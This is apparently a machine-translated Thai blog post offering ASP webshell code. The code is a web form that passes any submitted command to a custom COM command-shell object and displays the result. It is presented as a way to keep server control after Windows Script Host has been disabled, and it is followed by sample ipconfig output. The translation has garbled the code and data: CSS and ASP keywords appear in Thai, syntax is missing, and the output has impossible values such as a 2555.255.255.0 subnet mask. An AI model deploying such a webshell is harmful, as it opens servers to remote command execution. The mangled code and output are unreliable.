บางครั้งเมื่อเราจัดการเซิร์ฟเวอร์เราจะปิดการใช้งานโฮสต์ Windows Scripting เพื่อความปลอดภัย แต่ถ้าเราต้องการปิดใช้งาน WSH และใช้ Webshell ของเราเองเพื่อจัดการการจัดการเซิร์ฟเวอร์ นี่คือการเขียนโปรแกรมส่วนประกอบที่ใช้ CMD ใน ASP และแสดงผลลัพธ์ หวังว่าจะช่วยเหลือทุกคน
|||
-
.SingleBorder {
ชายแดน: 1px ของแข็ง;
พื้นหลังสี: #000000;
Font-Family: Arial, Helvetica, Sans-Serif;
สี: #ffffff;
-
.NOBORDER {
ชายแดน: 1px ไม่มี;
พื้นหลังสี: #000000;
Font-Family: Arial, Helvetica, Sans-Serif;
สี: #ffffff;
-
ร่างกาย {พื้นหลังสี: #000000; สี: #000000;
FONT-FAMILY: recidsys;
-
</style>
<form action = method = post>
<ชื่ออินพุต = cmd class = ค่า singleBorder = <%= request.form (cmd)%> size = 102>
<ประเภทอินพุต = ส่ง class = singleBorder Value = Execute>
</form>
-
ถ้า request.form (cmd) <> จากนั้น
SET TESTME = SERVER.CREATEOBJECT (ASPCMD.CMDSHELL)
-
<div class = noborder> <%= request.form (cmd)%> </div> <br>
<textarea cols = 120 rows = 30 class = noborder>
<%= testme.exec1 (request.form (cmd))%> </textarea>
<% set testMe = ไม่มีอะไร
สิ้นสุดถ้า
-
ต่อไปนี้เป็นผลลัพธ์ของการรัน ipconfig /ทั้งหมด:
การกำหนดค่า IP ของ Windows 2000
ชื่อโฮสต์ ......... : IBM-WRK-02
คำต่อท้าย DNS หลัก ....... :
ประเภทโหนด .......... : ออกอากาศ
เปิดใช้งานการกำหนดเส้นทาง IP ....... : ไม่
Wins Proxy เปิดใช้งาน ....... : ไม่
อะแดปเตอร์อีเธอร์เน็ตการเชื่อมต่อท้องถิ่น:
คำต่อท้าย DNS เฉพาะการเชื่อมต่อ ::
คำอธิบาย ........... : Intel (R) PRO/100 VM Network Connection
ที่อยู่ทางกายภาพ ........ : 008-02-BD-D7-EB
เปิดใช้งาน DHCP ......... : ไม่
ที่อยู่ IP ........ .. : 192.168.0.4
หน้ากากซับเน็ต ......... : 2555.255.255.0
เกตเวย์เริ่มต้น .......... : 192.168.0.1
เซิร์ฟเวอร์ DNS ......... : 202.106.196.115